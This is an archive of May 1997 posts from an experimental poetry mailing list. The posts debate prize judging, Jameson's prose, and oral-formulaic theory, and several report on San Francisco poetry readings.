*** Contact Information ***

Snail Mail: Other Voices
Attn: Vance Bell
P.O. Box 31907
Philadelphia, PA 19104
USA

E-mail: Editors, [redacted]

We look forward to your involvement and appreciate your feedback!!!

Sincerely,

Vance Bell
[redacted]
Editor-in-Chief
Other Voices

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546. **Jocelyn Emerson**
Re: dirty postmodernism
Mon 19 May 1997

I want to contribute a note of defense on Marvin's behalf; I worked with him the course of my MFA at Iowa (can I expect to be flamed now?) and have known him for a few years and can tell you that if he did or does pick poets' work for awards, prizes, etc. which are radically different from his own "aesthetic" that wouldn't be at all surprising. He's extremely deft and knowledgable as a reader and can see and value what's going on in a poet's work or in a "school" of poetry like nobody's business. I am not sure what his "tastes" are--but he does know what the hell he's looking at and how to talk about it and value it, to be sure, and to say the very least. Early on in my work here, he recommended I read Scalapino's work as well as someone of "his generation" of people like Hecht in order to think about some problems I was working on in a particulr poem at a formal level. Finally, as the Flannery O' Connor Professor of Letters, he'd be in an easy position to skip "undergaduate workshop teaching duty" or to fill the course with Ph.D.'s from other departments (i.e. not undergraduates)--something he never does and remains strongly commited, from what I can see, to beginning writers here--which is not an elite but state school serving some 400+ per year undergraduate students in various workshops (fiction, poetry, nonfiction): i.e. to a democratic process of teaching and learning. So, any more trash about the Workshop, please check your facts with those of us who are here and don't necessarily find it the worst place on earth to be. Many of the problems cited in these conversations have to do with market issues, the commodification of poetry and the arts, the use of "debates" about the NEA as a smoke screen for the far right to justify and cover their campaigns of terror against women, the poor, people of color and lesbigay people. There are far more relevant issues to discuss about the problems within the poetry industry: how about sexual harrassment at institutions and why MFA programs don't seem to have a problem hiring people (usually men) who have been dismissed or are "on leave" for harassing, intimidating or assaulting students? Now that's some terrifying stuff. Seems we have bigger fish to fry here people if we want

to deal with issues which affect us as writers and teachers and which affect our students.

Jocelyn Emerson

Dear Kent Johnson:
>
>I'm responding to your post of May 19 in which you claim that my book
>VIRIDIAN was selected by Marvin Bell for the National Poetry Series
>because I had schmoozed with him at an Iowa City bar.
>
>First, your errors of fact:
>
>(1) I have not been in Iowa City since the 1970s.
>(2) The book won the Georgia Prize, not the National Poetry Series.
>(3) Marvin Bell does not head the Iowa Writer's Workshop, though he has
>taught there for many years.
>(4) I would never slander Forrest Gander. We had dinner with him at
>Frances Mayes' house in San Francisco in the fall, and he was good
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>(5) Because I did an anthology of postmodern poetry doesn't mean I'm
>locked into an ideology. I like expressive poetry, too, when it has
>intelligence and freshness. My anthology, like the magazine NEW AMERICAN
>WRITING, has been noted for its range. It includes August Kleinzahler,
>who is very far from being a language poet.
>(6) The final judge of the Georgia Prize was never announced, at his or
>her request. The reasons for this are mysterious. I heard through rumor
>that the judge was Marvin Bell. If so, thanks.
>
>And what if he were the judge? Is it somehow wrong for him to pick
>a poet from outside a given community?
>
>You may like Forrest Gander's work better than mine, which is fine. I
>don't see a necessary opposition between the two of us. I do know that he
>is open to more than one concept of the poem, which is also my position.
>I doubt that you have read much of my work.
>
>We should ask ourselves why the Ashberys and Ginsbergs were included in
>anthologies of contemporary American poetry, but the Nathaniel Mackeys
>and Lyn Hejinians are not. A strict sense of opposition has been the
>rule, always to the exclusion of the "experimental."
>
>But the larger problem is the economy of poetry in the boomer era.

>Everyone is encamped because of the market niches demanded by too large a
>supply of poets. Poets become resentful because there isn't enough reward
>to go around, despite the explosion of prizes, grants, and awards
>announced in POETS AND WRITERS.
>
>I'm responding, by the way, not to your original post but to how it is
>excerpted in Kevin Killian's response. Could someone backchannel me the
>original?
>
>Paul Hoover

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547. **michael corbin**
Re: your mail
Mon 19 May 1997

Alan Jennifer Sondheim wrote:
>
> With medical research, it's necessary.

Much 'medical' 'research' can be questioned as to its 'necessity'--questionable as well are 'its' illocutionary habits, its ostensible tautological necessaries.

> *I've taught pomo a number of times*
> *(graduate level etc.) and still find Jameson turgid.*

". . . there is the private matter of my own pleasure in writing these texts: it is a pleasure tied up in the peculiarities of my 'difficult' style (if that's what it is). I wouldn't write them unless there where some minimal gratification for myself, and I hope we are not yet too alienated or instrumentalized to reserve some small place for what used to be handicraft satisfaction." (Jameson in _Diacritics_ 12)

> *And I do think that a*
> *lot of theory has become self-referential, pebbled with reification, etc.*
> *- as if there were nothing left to do.*

Theories of theories.

Self-referentiality and/or re-ificaiton do not necessarily mean quiesence or abjection. 'Re-ification' in particular for Jameson is what he calls the 'meditory code' (following Lukacs) that he writes *in* not *of*. Pebbled perhaps, but more like a Hansel and Gretel minima moralia. A trail surreptitiously left to find one's way out of the forest. That is if one believes in that particular hope of escape, that particulare 'persistence of the dialectic'.

But I guess we are in post-theory times. 'Nothing left to do' but mark the return of the real . . . our journal(s) of the plague(s) year(s).

mc

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548. **michael corbin**
Re: wasn't someone collecting new onomotopoetica...?
Mon 19 May 1997

Eliza McGrand- CVA Guest wrote:
>
> dodie just coined a new one --
> "dejecta"
>
> dejected/derilicts/rejected/objects/and many more
>
> e

Julia Kristeva in _Powers of Horror: An Essay on Abjection_ triangulates the 'abject' subject with the 'deject': "The one by whom the abject exists is thus a *deject*. . . . A deviser of territories, languages, works, the *deject* never stops demarcating his universe whose fluid confines . . . A tireless builder the deject is in short a *stray*. He is on a journey, during the night, the end of which keeps receding . . . the more he strays, the more he is saved."

This one of the dejecta on my bedroom floor. It lays atop my Celine novels.

mc

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549. **Matthias Regan**
Jameson's prose
Mon 19 May 1997

---

and don't lets forget Jameson has written that he includes himself (e.g., in _Marxism and Form_) among Marxist theorists (Adorno, Sartre) who have attempted to "include the dialectical process in every sentence" (this paraphrase from memory is originally from _Search for a Method_, I think*), a 'method' of writing that deliberately complicates the grammar in a manner not necessarily unlike the work of some of our listees, who attempt to make the act of reading more clear, all it glorious complexity

_____
*maybe _Between Marxism and Existentialism_?**

**wherever it is I never read even the original (?) translation, only read it quoted by Jameson, of that I am absolutely sure

PS: I also think that of the 3 winners (losers) of that ridiculous prize, the difference between Jameson's prose and that of either of the other two is marked

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550. **George Thompson**
Re: oral epithets
Mon 19 May 1997

Some comments on Kenneth W Sherwood's comments:

>Veering left at the epithet 'oral formulaic', I want to suggest that the
>'formula' bears about as much relation to oral poetries as the couplet
>does to written ones. A formal device that's a special case getting
>generalized to the whole.
>
I wouldn't blame anyone for expressing annoyance with some of the early, excessive, claims of Parry and Lord and other early theorists of the formula. But I don't agree with this suggestion at all. I myself try to avoid making large universal claims that are beyond my competence to defend, or simply beyond proof in any sense. So I have never said that *all* oral poetry is formulaic. But I do think that the formula exists at a far deeper level of linguistic structure than the couplet does. And that it is important to understand it before throwing it out.

> *From what I've read on oral poetry, there is no instance of strictly 'formulaic' (in Parry's sense) poetry coming from firmly oral traditions. The Yugoslav poets Parry and Lord work from compose in a borderline literate context. Homer comes down to us through numerous textual stages which impinge on the relation of formula and orality.*

First there is *at least* one sure "instance of strictly 'formulaic' (in Parry's sense) poetry coming from firmly oral traditions" -- and that is Vedic. Completely pre-literate. Highly formulaic. You will not understand Vedic very well if you don't pay attention to its formulaic patterns. The problem here is that the *transmission* of oral poetic traditions to us, here at our desks, ultimately has to pass through some written stage. Sure. But I myself am convinced that at their roots [in "Homer"] both the Ill and the Odd also were orally composed and largely formulaic.
>
>Check out Evers/Molina's _Yacqui Deer Songs_ or Tedlock's _Finding the
>Center_ for instances of non-formulaic oral poetry. Meanwhile, forget

>about formula-- a concept overemphasizing the 'cultural preserving'
>aspects of oral poetry.

The existence of just a few non-formulaic poetries [*if* such a thing could actually exist, theoretically speaking] does not mean that there are not many, many more *significantly* formulaic poetries out there. And there are.

And finally, the formula has many other aspects than these 'cultural preserving' aspects, which, I agree, have been over-emphasized. Formulas also have, just for example, poetic features: i.e., they can be used to contribute to poetic structure. They also have what is called "phatic" features: they generate a sense of complicity, community, comfort, between performer and audience.

etc.,

George Thompson

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551. **henry**
Re: dirty postmodernism
Mon 19 May 1997

On Mon, 19 May 1997 10:59:59 -0700 Paul Hoover said:
>
>We should ask ourselves why the Ashberys and Ginsbergs were included in
>anthologies of contemporary American poetry, but the Nathaniel Mackeys
>and Lyn Hejinians are not. A strict sense of opposition has been the
>rule, always to the exclusion of the "experimental."
>
>But the larger problem is the economy of poetry in the boomer era.
>Everyone is encamped because of the market niches demanded by too large a
>supply of poets. Poets become resentful because there isn't enough reward
>to go around, despite the explosion of prizes, grants, and awards
>announced in POETS AND WRITERS.

The question we shd ask ourselves here has been one of the perennial topics on this list. And I happen to agree with the statement in the second paragraph. The unstated corollary, however, is that the "experimental" has also become a niche (as a way of dealing with "the larger problem"). The only solution is narrative: write stories which contain the poetic para-narrative (in verse, of course) presenting the encapsulation of boomer destiny in a suitable award-winning minus-zero centigrade of "originality" ("The most original writers are, of course, the most accomplished imitators" - Eric Blarnes) and "experiment" ("Experimented on a gopher once" - Jack Spandrift). And remember, in non-literate cultures, "niche" rhymes with "cliche". - Henry Gould

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552. **Aldon L. Nielsen**
Re: more "of"
Mon 19 May 1997

"Metal was a mistake"

as in Iron Butterfly?

_____ re: the bad writing contest -- I don't know about everybody else, but it seems to me that the Jameson passage, for all its demerits, is far surpassed by the second and third place examples -- I smell an ideological preference in the judging

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553. **David Israel**
Re: dirty postmodernism / niche
Mon 19 May 1997

> *And remember, in non-literate cultures, "niche" rhymes with "cliche". -*
> *Henry Gould*

hey, same place where Rilke rhymes w/ Milk?
(Anne Beattie pointed that one out, in a novel)

d.i.

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554. **dbkk**
Re: wasn't someone collecting new onomotopoetica...?
Mon 19 May 1997

At 2:10 PM -0700 5/19/97, michael corbin wrote:

> *Julia Kristeva in _Powers of Horror: An Essay on Abjection_ triangulates the 'abject' subject with the 'deject': "The one by whom the abject exists is thus a *deject*. . . . A deviser of territories, languages, works, the *deject* never stops demarcating his universe whose fluid confines . . . A tireless builder the deject is in short a *stray*. He is on a journey, during the night, the end of which keeps receding . . . the more he strays, the more he is saved."*

Though I believe that Gideon should put out an edition of _Powers of Horror_, I came upon dejecta via Catherine Clement's "The Guilty One" in _The Newly Born Woman_ (Minnesota, 1986), a book that was originally published in France in 1975. Clement's essay, which covers many of the very things that sound so dopey in 70s American feminism and makes them fascinating,

reclaimed 70s feminism for me. On page 37 she compares the writer to the hysteric (in response to an anonymous text about coughing up dead words):

"A wonderful anonymous text . . . which connects the hysterical cough to writing. The writer puts his dejecta on paper. But with this difference, radical in its effects: the symbolic inscription of the written wastes is published and passes into another register. That is where the passionate thread of these wandering associations stops. For the hysteric does *not* write, does *not* produce, does nothing--nothing other than makes things circulate without inscribing them."

But I've seen dejecta many a place since then. It *is* one of my favorite words, I use it whenever I get the chance I love it so much.

Dodie

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555. **George Thompson**
Re: epic redux
Mon 19 May 1997

> *Dear George Thompson:*
>
> *First of all, let me apologize for the somewhat snarky tone of my response to your original post. Your opening seemed a bit condescending to "poets", as if they would be too busy rhyming or whatever to have paid attention to the basic intellectual debates about the nature of epic, and I responded somewhat sharply. Excuse me.*

Well, I regret the tone of my original post, condescending as it was, so I also apologize [by the way, ritual apologies, I find, are highly formulaic too -- don't you?].
>
>I still stick to my main, point, however, that the theory you present
>is just that--theory--whether Parry's or your own--not fact. Your
>proposal about Homeric formulas or cliches has no claim on
>truth--it's an imaginative reconstruction based on a philological
>analysis of texts written down long after the poems were "composed"
>(whatever that word may mean in this context). We have no way of
>_knowing_ what function those verbal forms played 3,000 years ago. We
>can look at how oral traditions today work and argue for parallels,
>but, again, it's an imaginative leap, not a statement of truth. They
>could very well have worked the same way all those memorized riffs
>worked for John Coltrane--as a kind of foundational vocabulary to fall

>back on or take off from during the process of improvisation. That's
>as likely as anything else.

I have no trouble with the analogy with Coltrane's "memorized riffs" [it has frequently occurred to me, as well as to oral theorists like Paul Zumthor]. But I fail to see how it contradicts my "theory" in any way. As for the status of my truth-claims [or, rather, their lack of status in your eyes], I have a certain respect for cultural, linguistic, and other forms of relativity, and I acknowledge that truth-claims are often made problematic by one's biases, bad attitudes, personal blinders, etc. But if I have taken the trouble to read, no study, "Homer" in his own language, if I have studied Homeric scholarship, if I have done all that philology stuff, all that linguistics stuff, etc., etc., don't you think that my chances [to turn to probability theory] are a *little* better at approximating "the truth", than someone else's who hasn't made that effort? I think that an imaginative leap informed by relevant geography is much more likely to have a good landing than a blind leap of faith. That's just a hunch, though.
>
>Classicists have a different imagination of their relationship to
>epic than poets do--but the difference is not in their access to or
>awareness of current and past scholarship. It's in the use to which they
>see that relationship being put. Classicists--and I apologize in
>advance if I distort a position that's not my own--see themselves as
>studying the poetry in order to arrive at a more "accurate" measure
>(perhaps just a new measure) of the origin and development of the
>form--i.e. a new theory. Poets (those who are interested) need to
>figure out a relationship in order to proceed with making poems.
>Neither relationship has a greater claim on "truth". Both are
>fundamentally imaginative. But poets do seem more forthcoming about
>that than scholars, who frequently seem to want to cover their tracks.

Actually, I don't consider myself a Classicist, and I don't like them much either. But if we are going to pit the scholar against the poet, I think it would be wise to resort to the one for what she can offer you, and to the other for what she can offer you.

But I'm not here to get into a debate about what poets are good for. I joined this list, to tell the truth [not that I have any special claims on it], because I am a Vedicist working on Vedic poetics. I have found that Vedic studies is a kind of intellectual backwater when it comes to poetics. So I have resorted to this list, as I would to someone who might be able to help me with my car, or my broken arm, or my near-sightedness, or my plumbing. Yes, plumbers are very imaginative too, about certain things.

>
>Who, after all, had the more interesting theory of the epic: Virgil,
>Dante, Milton, Blake, H.D., Olson? or Milman Parry? I know who I think
>people will be reading 500 years from now. And reading for the news.

News is gossip [does anyone know the etymology of gossip?]. If no one will be reading M. Parry in 500 it will because his science will have made progress in those years, by standing on his as well as on many other shoulders. So, who's being condescending now?
>
>Best,
George

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556. **Steve Carll**

Direct From The Rex

Tue 20 May 1997

Friday, May 16th there was a reading at the Hotel Rex in San Francisco featuring Sally Doyle, Ann Guy and Michelle Murphy.

The Hotel Rex is a Hotel Algonquin-style place near Union Square. There were canapes (no mere nosh, mind you--little processed turkey slabs rolled up and skewered with toothpicks!) and most everyone was dressed up like society folk. Michelle Murphy introduced Sally Doyle, who talked about how hot it was: "I thought, 'It's too hot for words.' And then I went, 'Oh no!'" and about a recent dream in which she had angrily told a man, "Stars aren't stupid--they're brilliant!" Then she read some poems and a section of her novel in progress which is about losing her mother. Lines, you ask? Observe:

and to think they were transporting this field through the mail
even my walking was startled
the objects collide with me and make a drama

Sally introduced Ann Guy, who read several poems which seemed to echo with the influence of Gary Snyder (for its relation to the natural world) and Barbara Guest (for its thoughtful precision of syntax). one of her poems was called "Inside the Penumbra", which may give some impression, but if not, here's more:

I rest my hope in its tilt
closing off the Pleiades to hammer down the roof
this assumption that once born you have a life worn only by you
that image of the fox in the laundry basket recurred

Ann then introduced Michelle, who brought us around full circle with some old and some new work:

I shake whole syllables from my spine, stutter in what remains not what I meant to say, but nothing else was handy snarled as the fence posts that try to hold down the land whose arms are wide enough to keep the whole horizon from falling? what kind of crazy bird leaned into its wings and granted this hour? like dice thrown over the blackest of felt

I didn't know about three-quarters of the attendees (Michelle said a lot of her friends and family were there), but there was Joseph Aukee, Adam Cornford, Thoreau Lovell, Cheryl Burket, Andrew Joron, and Robin Trembley-McGaw (if I'm not mistaken), Ann's husband George, and a Lori (or Laurie) whose last name I didn't get who was on crutches.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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557. **Steve Carll**
Now They Know How Many Poets...
Tue 20 May 1997

...It takes to fill New Langton Arts. Saturday, May 17th, through dawn on Sunday the 18th, Alex Cory took over the literary directorship of New Langton Arts with a marathon reading dubbed, "A Night in the Life of San Francisco Writing." I have no notes to report from, since I was busy manning a camera for the first 3 hours and a little overwhelmed by heat and the sheer magnitude of the beast to do much after that, but I had a great time and I'll share what I can of the event with you. Anyway, the whole thing was captured on 3 video cameras and a cassette recording made using a clip-on mic, with a fourth camera interviewing poets upstairs, so watch for the documentary in the future. Each writer read for approximately 15 minutes:

Lyn Hejinian kicked things off just after 4 PM by reading a new piece and an older one. She was followed by Kit Robinson, who read the complete "Messianic Trees." Next Robert Gluck read a couple of funny prose pieces on community, one literary, the other residential. Jean Day followed, then Bill Berkson, reading a few things, including some for Ginsberg. Next came Robert

Hale, Laura Moriarty, Avery Burns. New College newcomer Jono Schneider read from his "100 Pages Which Scrape the Face of 'God'". Jack and Adelle Foley gave their usual energetic performance of 2 pieces, one for Allen Ginsberg, one for Jake Berry. Aaron Shurin followed with new work, then Gloria Frym read recent prose-poems. Kevin Killian read from his Argento series to record it for posterity, then Benjamin Hollander read his work "Onome". George Albon read from three different projects, one old, one new, and one kind of both (he wrote back through poems he'd written in high school, sometimes incorporating lines but more often simply commenting on the original work somehow). I got off my shift on the camera and was incredibly hungry, so I went across the street to Pizza Love for a slice of cheese with pineapple. I missed Leslie Scalapino and most of Rodrigo Toscano in the process, but believe me, it was unavoidable. Craig Dworkin read poems and made intriguing phonemic gestures, to be followed by Norma Cole, Jaime Robles, and Robin Trembley-McGaw. Darin DeStefano then read some new work, including a long poem (he said he'd never read a long poem before because he hated it when people read long poems at readings). Linda Voris next read some prose-poems laid out four-square on the page (she showed us), followed by Faith Barrett, then Scott Bentley, and Alicia Wing read from her just-completed (after 2 years and 7 months, you go, girl!) manuscript. Glenn Ingersoll was next, but I had to get some fresh air and quiet my mind and figure out what I was going to read (sorry Glenn!) so I sneaked out again.

By now it was after 11:00 PM and Camille Roy was up with that great short bleached hair, straight-leg jeans and ripped up but still wearable Converse look, reading from her work about jaded 15-year-olds. Renee Gladman followed with what I thought was one of the highlights of the festival (just wait for the film). Eric Selland read from new work (prose poems) and old, followed by Pamela Lu reading a serial poem, Katie Lederer performing a serial poem about a girl and her dad. Lauren Gudath and Kathy Lou Schultz followed Katie, then Travis Ortiz read his dense philosophical poetry. Lytle Shaw, Jocelyn Saidenberg, and then it was my turn. It was 1:45 am. I'd been scheduled for 1:30, so considering the huge number of readers, we weren't too far off schedule. There were still maybe 15 people in the audience (during the peak hours, there were maybe 60 people in the room, and people would rotate in and out with each new reader). I read some new poems, most of the recently-published "brushstrokes", some autobiographical stuff about growing up in the suburbs listening to punk rock, and finished with "Oxygen" from DRUGS. It was 2 am and I was beat, and I had to work Sunday, so I had to leave. Thus, I missed:

Ann Simon, Hung Tu, Fitz Schwartz, Braden Randall, Ed Ainsworth, Edmund Berrigan, Adam DeGraff, Charles Foster, David Larsen, David Hayward, Gennui Raffill, Alex Cory and Jay Schwartz, who was scheduled to be reading when the

sun rose at 5:57 am Sunday. So I'm going to have to wait for the documentary, too.

P.S. Luckily I managed to get my work done early enough on Sunday to go to Bob Gluck's house and celebrate Kevin Killian's new award-winning book. Bob made an awesome strawberry shortbread and it was fun sitting out in his tiered backyard which he gardens himself. I was sure ready for a nap when I got home from that, though.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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558. Kenneth W Sherwood
arguing orality
Tue 20 May 1997

George:

It's great to have some engagement on these issues. Thanks for picking up the thread!

Glad we agree at least that the mnemonic function of formulae has been overemphasized. But can the term now be separated from these concerns? For the poetic (structural) and performative features in this family I prefer something like repetition, or riff-- which leads to parallelism and other aural effects (which fascinate me in oral and written poetries).

I think we're having a difference of opinion that's pretty well established. Interesting evidence of the rift among oralists can be found in the Princeton Encyclopedia of Poetics where Lord writes the entry on oral poetry (pretty much collapsing it into oral formulaic theory, ie. treating 'oral poetry' and 'oral formulaic poetry' as nearly synonomous). [Compare the entry on Ethnopoetics]

Here Lord defines 'formula' as "a word or group of words regularly used under given metrical conditions to express a given essential idea." This regularity and the push to expression of given essential ideas reflects the kind of focus on oral-art-as- cultural-preservation that I gestured towards earlier.

I'll admit not knowing my Vedic; but Walter Ong's _Orality and Literacy_ casts pretty strong doubts (to my mind persuasive) on their purely oral foundation. (Meaning that the formulaic elements, however present, could have grown from brushes with literacy. His larger point, which I suspect you'd concur with, is to emphasize that verbatim repetition is not characteristic of 'oral' poetry.)

You write: The existence of just a few non-formulaic poetries [*if* such a thing could actually exist, theoretically speaking] does not mean that there are not many, many more *significantly* formulaic poetries out there. Perhaps I'm missing the theoretical impasse--but any time a song is improvised, can't it be non-formulaic. Now I guess what constitutes a significant degree of formulaic pattern is debatable. (This I guess was part of the Parry mission, to persuade that the level of formulaic patterning in Homer showed it to be 'oral'-- bear with me, I'm no classicist.)

Quibbling aside, if I read the above right you are suggesting that non-formulaic oral poetry IS the EXCEPTION rather than the rule. I'll give you Vedic and Yugoslav Epic, and throw in one or to others... but still my understanding is that much oral poetry is in no meaningful way 'formulaic'--does not rely on a restricted collection of epithets for composition.

This (what I'll call an) erring toward the formulaic seems like a tendency of folks for whom oral poetry is an ancient (dead) art. And formula let's em have there cake and eat it too with respect to Epic--the text is relatively stable (cf. masterpieces of literature); is oral in origin; was conceivably spoken by one 'man' (call him Homer or Singer of the Tribe if you like) in one voice; a proto-author. (Here I betray my sense the Kalevala, said to be a reconstructed epic, is in fact a written Epic composed from oral sources, that there perhaps can be no Oral Epics like the Odyssesy, unless the corpus of the blues, taken as a whole and assembled end-to-end (stretching to the moon) is the great African American Epic.)

Just a few miles up or down the road from here (Buffalo, NY) one could seek out non-formulaic oral poetry. I mentioned a few examples, last post, of books on my shelf. I'll add now the whole run of ALCHERINGA/Ethnopoetics. Most Native American poetry... etc.

Should we take this back channel soon?
Back to you,

Ken

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559. **Joel Lewis**
Re: lowell
Tue 20 May 1997

---

i'll put in a vote for lowell's notebook, which was brought back into print after a long absence. i find it fascinating stuff -- some of the poems, like Exra Pound, have about five published variant versions -- lowell made corrections on the 2nd printing, published a revised Notebook, broke the volume into smaller volumes, then revised some poems twice in each edition of the selected. there a story there about lowell & the fetish of revising. during his heyday, young acolytes would revise there poems hundreds of times like their mentor. late poems were VERY troubling to his fans, which might account as to why there is no collected to appear (in addition to the editor's dilemma of picking among revisions). still, i think he's a lot more interesting poet in hindsight --now that he no longer grand poobah of verse (it seems that E. bishop has much more of an impact).

joel

****

JOEL LEWIS
[redacted]
>>>>>>>>>>>>>>>>>>>>>>>>>>>
SLEEP FASTER! WE NEED THE PILLOWS!
--- Yiddish aphorism
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

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560. **Steve Carll**
Mas Voces
Tue 20 May 1997

Dan Zimmerman wrote:

> *Steve,*
> *I want to thank you for your reportage on SF readings, and to ask how your selection of lines might relate to the current "voice" discussion, i.e., does your selection reflect a "voice" you "hear" more than others--a transpersonal voice incarnating itself occasionally in various poets who happen to have listened to the same channel on Cocteau's radio? Do those lines resonate with your own "voice"? Do they contrast with or reply to it? Do they exemplify exactly what you would, after hearing them, strive never to imitate or reproduce in any even paraphrasable rendition/karaoke? You seem in a good position to contribute something to this "voice" discussion. Wouldja, wouldja?*
> *Dan Zimmerman*

Well, I'll try. My experience is that most, anywhere from 50 to 95% generally speaking, of what I hear at poetry readings is the equivalent of chatter. I'm by no means excepting my own poetry when I say this. Every so often, a line will come into being with a resonance in it that calls for remembering. When the chattering voice becomes the calling voice, I start writing. The challenge then is to hold the whole line in my inner ear until I have it all written down, cause if the next line is also in the calling voice, it will often replace the half-written one and I won't be able to write down either. It's transpersonal in that it's always the calling voice, but each poet sounds the call in hir own accent (to put it metaphysically as well as geographically). So, sometimes the voice does resonate with my own in that I recognize the "dialect" as if from a locale I've stayed in (I can often, though not always, tell when someone's been influenced by the Celan of _Breathturn_, since I've been reading that obsessively since Pierre Joris' translation came out); at other times, and this is getting more rare as I spend more time on the planet, the voice will strike me as utterly otherworldly, something I couldn't have conceived of sounding like. My natural tendency is to try to speak the dialect, that is, to mimic a new and interesting voice; but there are plenty of exceptions to that, things that, for whatever reason, I don't think sound interesting when spoken in my voice.

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[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan

****

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561. Chris Stroffolino

Re: Neg. Cap. (oh providence and the russians)

Tue 20 May 1997

So, obsessing on negative capability---
As a critical terms with CREDENTIALS stemming from two letters by a poet who
had none....
And the contradictions you pointed out in Providence may "stem" from the two different letters--
One is about the "chameleon poet" (b[o]y george)

who is everything and nothing--
and for whom EVIL is just a matter for speculation
(i think Harriet monroe yelled at wallace stevens for that one)
and the OTHER letter is the one about the IRRITABLE GROPING, which seems to
contradict the other one on a certain level because this requires some sense
of a stable identity, an integrated personality. They become complementary
symbiotic nemeses (hiss). One man's "speculation" is another's "irritable
groping"--It may have a lot to do with the tension between ESTABLISHING an
identity on (or in or by or through or as) the indeterminacy of writing and
NOT NEEDING to do so because one has LIFE for that, and suddenly (voila or
POOF), there's no need to....

Oh(m) or O(h)m---

Me thinks I'm getting personal again....
went to a lot of poetry readings last week
(well, this is relative--a lot for me).
Jennifer Moxley was great....read New stuff...
then saw Larry Price....also great (but didn't read enough)
Was doing okay at Garret Kalleberg and Lewis Warsh reading too....
Unfortunately, by sunday (talisman book party--much food and books called
WORDFLOW--and anselm berrgan, who's quite intensely loopy, back and forth
dialogic not, LUCKILY, a synthesis, between push and pull of ego language
language ego though anxiety because anxiety too much performance pressure but
doesn't seem to get in the way negatively more than anybody else's burden,
familial or otherwise)--
unfortunately by sunday, i was burnt on the scene
and feeling bitter again and thinking that there are
certain writers (not the one's mentioned above) who don't seem to NEED
writing as a compensation, or integral part of their identity, but who think
their plain selves are a sight too behold and who are kinda cocky and snobby
and oh so cool about their "trip" and that this becomes
a doubled edged questionmark i choke on even in the spitting
up of celery as a salary and the art-life wall
collapses for those who are not on the wrong side
of the one-way mirror waving the banner
"LIFE LIFE LIFE" as if it's a cereal killer
and I'll be branded and (which could be contrasted with or, but back in
shakespeare's day it was synonymous with IF

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562. Chris Stroffolino
QUESTIONS
Tue 20 May 1997

I'll be signing off sometime quite soon...
and once again realized that there's some questions I have about things.
1) JOEL KUSZAI--what ever happened to the OH CANADA issue of that RUSTED ROOD
or whatever it was called?
Just curious. Could you please respond.
Ditto for the two MEOW MS's I sent you....
Just curious. I know you're busy. If Joel's not on anymore, and if anyone else can help, I'd appreicate it....
2) If anyone wants my new snail mail address, please backchannel me.
3) Does anybody know the HAPPY GENIUS email number...
I gotta contact this person too.
4). Don't worry Doug Messerli about sending the GERTY STEIN awards book. I broke down and bought it from ROD SMITH...
5) Don't worry GERTY STEIN about sending me the ROD SMITH AWARDS I broke down
and bought it from JOHN WESLEY HARDING (he's a friend to the poor).
6. Don't worry baby about the Beach Boys they don't worry about the talking heads who don't worry about the government and how it ripped off PHIL and RONNIE SPECTER
7. DOn't worry about the specter of hobgoblins...
8. DO THINK about the specter in ARETHRA FRANKLIN'S REMAKE of "BORDER SONG"
and why she changes the tarpaulin lyric to
"WHAT'S HIS COLOR. DO YOU CARE?"
and I think I had other questions, but can anybody remember them for me.....
chris

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563. Mark Baker
Jameson's Prose
Tue 20 May 1997

I want to understand Jameson's sentence. Calling the contest's judge a "humanist" or sniffing ideological bias--both true, as I know from another List--still does not help me make more than vague sense of Jameson's sentence. Nor does Michael Corbin's defense help:

> *Self-referentiality and/or re-ificaiton do not necessarily mean quiesence or abjection. 'Re-ification' in particular for Jameson is what he calls the 'meditory code' (following Lukacs) that he writes *in* not *of*. Pebbled perhaps, but more like a Hansel and Gretel minima moralia. A trail surreptitiously left to find one's way out of the forest. That is if one believes in that particular hope of escape, that particulare 'persistence of the dialectic'.*

Not enough trail here for me, although, as with reading Jameson's sentence, I can vaguely see where I am. I read posts here that unabashedly paraphrase difficult poems. So can those who attacked the Bad Writing Contest and defended Jameson explain his *sentence*?

"The visual is essentially pornographic, which is to say that it has its end in rapt, mindless fascination; thinking about its attributes becomes an adjunct to that, if it is unwilling to betray its object; while the most austere films necessarily draw their energy from the attempt to repress their own excess (rather than from the more thankless effort to discipline the viewer)."

You don't need to rehash Jameson's theory or its aims. Assume I'm willing to sympathize with his dialectic, have read his own defense (in _Marxism and Form_) of the prose he claims to imitate, and know that your explanation will lose the poetry in the translation. My guess, however, is that some of your explanations will lose nothing, do better what Jameson intended to do, and show that at least in this sentence he wrote very badly.

Lucidly,
Mark Baker

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564. Chris Stroffolino
thedeathofthekennethauthorangertrashtalktrashtalk
Tue 20 May 1997

Yeah, and the worst think about it is that I hear MARVIN BELL had the audacity to sign MARJORIE PERLOFF'S NAME to an article in which the death of the author is invoked to justify play (AS LONG AS IT ISN'T IN MY BACK YARD---see Derrida for practice/preach dualism "reinscribed") in which the UNAMBOMBER fesses us to being FOREST GUMP i mean gander and the pen that wrote YASUDA is found in the home of PAUL HOOVER while the swan falls into the firebird and none of the big publishers like my idea for a coffee table book called PIGEONS (go figure). signed, the geisha girl on skis.....

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565. **John Cayley**
where the sea stands still - ICA May 27th
Tue 20 May 1997

*** apologies for cross-postings and shameless self-promotion ***

WHERE THE SEA STANDS STILL
a performance reading with cybertextual projections
original Chinese poetic sequence by Yang Lian
cybertextual design and scripting by John Cayley
English translations by Brian Holton
additional calligraphy by Qu Leilei
and visual material by Gao Xingjian & John Cayley

Part of the 'Fortune Cookies' season ("of experimental
and subversive performances and installations from
across the Chinese diaspora") at
The Institute of Contemporary Arts, London
May 27th | 20:00 | Theatre
8 pounds | 6 pounds members and concessions

'Where the Sea Stands Still' is a poetic sequence by the contemporary Chinese poet, Yang Lian. John Cayley has worked it into a 'performance hypertext.' Yang and Cayley will perform live against a projected text which plots it's own pathway through the sequence, "as words and images collide and weave together in a network of poetic meaning."

The previously published paperbound version of 'Where the Sea Stands Still' (parallel text) is available from the ICA Bookstore at £3.50, or direct from the publisher, WellSweep, 1 Grove End House, 150 Highgate Road, London NW5 1PD, (0171) [redacted], [redacted].

